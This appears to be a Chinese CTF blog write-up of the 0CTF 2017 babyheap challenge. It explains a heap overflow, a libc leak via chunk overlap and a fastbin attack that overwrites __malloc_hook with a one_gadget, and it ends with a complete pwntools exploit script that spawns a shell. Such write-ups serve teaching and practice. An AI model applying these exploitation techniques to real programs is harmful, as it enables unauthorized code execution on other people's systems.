0ctf2017-babyheap writeup

题目描述

题目来源:0CTF 2017
知识点:fastbin attack,chunk overlap
题目是一个内存管理系统,能增删查改。

1
2
3
4
5
6
7
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command:

题目是64位程序,开启保护情况:

1
2
3
4
5
6
[*] '/home/nick/pwn_learn/heapLearn/fastbinAtk/0ctf2017_babyheap/0ctfbabyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

程序概况

Allocate函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void __fastcall Allocate(__int64 a1)
{
signed int i; // [rsp+10h] [rbp-10h]
signed int v2; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]

for ( i = 0; i <= 15; ++i )
{
if ( !*(_DWORD *)(24LL * i + a1) )
{
printf("Size: ");
v2 = get_num();
if ( v2 > 0 )
{
if ( v2 > 4096 )
v2 = 4096;
v3 = calloc(v2, 1uLL);
if ( !v3 )
exit(-1);
*(_DWORD *)(24LL * i + a1) = 1;
*(_QWORD *)(a1 + 24LL * i + 8) = v2;
*(_QWORD *)(a1 + 24LL * i + 16) = v3;
printf("Allocate Index %d\n", (unsigned int)i);
}
return;
}
}
}

限制chunk最大为4096,使用calloc意味着分配时会将chunk中的内容清0。最后将数据存入结构体

1
2
3
4
5
00000000 chunk           struc ; (sizeof=0x18, mappedto_6)
00000000 inuse dq ?
00000008 length dq ?
00000010 ptr dq ?
00000018 chunk ends

Fill函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 __fastcall Fill(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
result = get_num();
v2 = result;
if ( (signed int)result >= 0 && (signed int)result <= 15 )
{
result = *(unsigned int *)(24LL * (signed int)result + a1);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = get_num();
v3 = result;
if ( (signed int)result > 0 )
{
printf("Content: ");
result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
}
}
}
return result;
}

发现此处没有对size进行限制,存在溢出
并且,sub_11B2这个读取字符串的函数没有在字符串末尾加上'\x00'

Free函数中将堆块释放,并将指针清0,没有什么问题。

dump函数将指定索引的堆块内容输出

漏洞分析

泄露libc基址(chunk overlap)

因为在small bin中只有一个chunk时,这个chunk的fd和bk将指向libc中某个地址(&main_arena+88),所以只要能够输出fd或者bk,就能泄露出libc的基址。

1
2
3
4
5
6
7
8
0x555555757000 PREV_INUSE {
prev_size = 0,
size = 209,
fd = 0x7ffff7dd37b8 <main_arena+88>, <== libc中的地址
bk = 0x7ffff7dd37b8 <main_arena+88>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

问题的关键转移到如何输出fd和bk。因为存在堆溢出,那么可以通过从chunk0溢出到chunk1,修改chunk1的size,使size变大从而造成overlap,让chunk2的头部包含在chunk1中,然后就可以通过打印chunk1来泄露libc了

fastbin attack

先将chunk1释放,通过从chunk0溢出到chunk1的fd,通过控制chunk1的fd,则可以在几乎任意地方分配chunk。因为程序开启PIE和RELRO,所以没办法利用got表,则考虑malloc_hook或者free_hook等。
这里需要考虑一个问题,在从fast bin分配chunk时,会检查取到的chunk大小是否与相应的fastbin索引一致(源码如下),也就是说若要在某个地方分配chunk,需要先在这个地方构造好size,使这个size恰好属于chunk所在的fastbin。

1
2
3
4
5
6
7
8
9
10
11
 // 存在可以利用的chunk
if (victim != 0) {
// 检查取到的 chunk 大小是否与相应的 fastbin 索引一致。
// 根据取得的 victim ,利用 chunksize 计算其大小。
// 利用fastbin_index 计算 chunk 的索引。
if (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0)) {
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr(check_action, errstr, chunk2mem(victim), av);
return NULL;
}

巧妙的是,在malloc_hook的前面,有类似这样的数据:

1
2
3
0x7ffff7dd3720 <__memalign_hook>:	0x00007ffff7a94fc0	0x0000000000000000
0x7ffff7dd3730 <__realloc_hook>: 0x00007ffff7a94f60 0x0000000000000000
0x7ffff7dd3740 <__malloc_hook>: 0x00007ffff7a94f20 0x0000000000000000

又因为这里并没有对齐检测,所以可以通过利用没有对齐的数据来通过检测。通过截取上面数据的7f,和后面的00拼在一起,变成:

1
2
3
0x7ffff7dd371d:	0xfff7a94fc0000000	0x000000000000007f
0x7ffff7dd372d: 0xfff7a94f60000000 0x000000000000007f
0x7ffff7dd373d: 0xfff7a94f20000000 0x000000000000007f

这样就构造出了一个size为0x7f的chunk。这样就可以在这分配一个大小为0x7f的chunk,然后从这写入,覆盖一定的无效数据就能到达malloc_hook的地址,然后向malloc_hook中写入one_gadget就可以getshell了。(了解one_gadget

漏洞利用

  1. 分配两个chunk,大小分别为0x60和0x40(第二个chunk较小是为了之后能够改大,而又不超过fastbin限制)
  2. 从chunk0溢出到chunk1的size,将其改成0x70,使chunk1覆盖的范围变大。但此时还并没有真正变大,要释放后重新分配出来才能生效。
  3. 再分配两个chunk,chunk2需要是small chunk,chunk3是用来隔开top chunk,防止释放chunk2时被top chunk合并。因为在free的时候会检查下一个chunk的size是否大于2*size_sz并且小于system_mem(源码如下),所以还要在chunk2中构造一个fake size

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    // 下一个chunk的大小
    nextsize = chunksize(nextchunk);
    // next chunk size valid check
    // 判断下一个chunk的大小是否不大于2*SIZE_SZ,或者
    // nextsize是否大于系统可提供的内存
    if (__builtin_expect(chunksize_nomask(nextchunk) <= 2 * SIZE_SZ, 0) ||
    __builtin_expect(nextsize >= av->system_mem, 0)) {
    errstr = "free(): invalid next size (normal)";
    goto errout;
    }
  4. 将chunk1释放,并重新分配一个大小0x60的chunk,这里chunk1被取回并成功扩大。

  5. 因为使用的calloc会初始化内存,所以还需要恢复一下chunk2的前20个字节
  6. 释放chunk2,chunk2进入small bin
  7. 打印chunk1,泄露出libc的基址
  8. 通过libc基址计算出malloc_hook的地址和one_gadget的地址
  9. 释放掉chunk1,通过溢出chunk0来修改chunk1的fd,将fd修改到malloc_hook附近
  10. 通过两次分配,得到malloc_hook附近的chunk
  11. 向malloc_hook中写入one_gadget,成功getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#-*- coding:utf-8 -*-
from pwn import *

p = process('./0ctfbabyheap')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def Allocate(size):
p.recvuntil('Command: ')
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(size))

def Fill(index, content):
p.recvuntil('Command: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Size: ')
p.sendline(str(len(content) + 1))
p.recvuntil('Content: ')
p.sendline(content)

def Free(index):
p.recvuntil('Command: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(index))

def Dump(index):
p.recvuntil('Command: ')
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Content: \n')
data = p.recvline()
return data

def leak_libc():
Allocate(0x60) #0
Allocate(0x40) #1

#从chunk0溢出,将chunk1的size改为0x71,使chunk1覆盖范围更大
payload = 'a'*0x60 + p64(0) + p64(0x71)
Fill(0, payload)

#分配一个0x100的smallchunk 再分配一个chunk是为了防止free smallchunk时被topchunk合并
#该smallchunk的chunkhead(0x10个字节)和fd、bk(0x10个字节)都在修改后的chunk1的数据区
#接下来要将chunk1释放掉再分配使chunk1范围真正扩大
#但释放时会检查下一个chunk的size是否大于2*size_sz且小于system_mem
#所以还得构造一下next size
Allocate(0x100) #2
Allocate(0x60) #3
payload = 'a'*0x10 + p64(0) + p64(0x71)
Fill(2, payload)

#释放chunk1并重新分配回来,因为alloc会初始化内存,所以smallchunk的前0x20个字节被清空
#恢复smallchunk的前0x20个字节
Free(1)
Allocate(0x60) #1
payload = 'a'*0x40 + p64(0) + p64(0x111)
Fill(1, payload)

#释放smallchunk 因为当smallbin是一个双向链表 所以当其中只有一个chunk时
#该chunk的fd和bk都指向头结点 头结点存在于main_arena中 main_arena又存在于libc中
#所以fd和bk指向的是libc中的某个地址 通过固定的偏移 则可以泄露出libc_base
Free(2)
leaked = u64(Dump(1)[-9:-1]) - 0x3C27B8
print "libc_base : %#x" % (leaked)
return leaked

def fastbin_attack(libc_base):
#malloc_hook 可以在gdb中 x/32gx (long long)(&main_arena)-0x40 来找到
malloc_hook = libc_base + libc.symbols['__malloc_hook']
#使用 one_gadget 找到execve('/bin/sh')
execve_addr = libc_base + 0x4647c

print "malloc_hook : %#x" % malloc_hook
print "execve_addr : %#x" % execve_addr

#释放掉chunk1 通过溢出chunk0来修改chunk1的fd
#通过控制chunk1的fd 则可以在任何地方分配内存 那么我们可以控制malloc_hook
#因为malloc会检查fastbin中chunk的size是否属于这个fastbin
#而malloc_hook处的值为0 不能通过检查
#通过前文提到的未对齐的数据来绕过检查
#这样就可以获得一个size位为0x7f的chunk
Free(1)
payload = 'a'*0x60 + p64(0) + p64(0x71) + p64(malloc_hook - 19) + p64(0)
Fill(0, payload)

#通过两次分配 得到malloc_hook附近的chunk
Allocate(0x60)
Allocate(0x60)

#覆盖一定的无效数据到达malloc_hook的地址 向其中写入execve_addr
payload = p8(0)*3 + p64(execve_addr)
Fill(2, payload)

#malloc时判断malloc_hook不为0 执行malloc_hook指向的代码 getshell
Allocate(0x60)

libc_base = leak_libc()
fastbin_attack(libc_base)

p.interactive()

相关链接

题目链接:0ctf_babyheap
writeup参考:Anciety师傅的博客

文章作者: Hpasserby
文章链接: https://hpasserby.me/post/47331c36.html
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hpasserby
支付宝赞赏
微信赞赏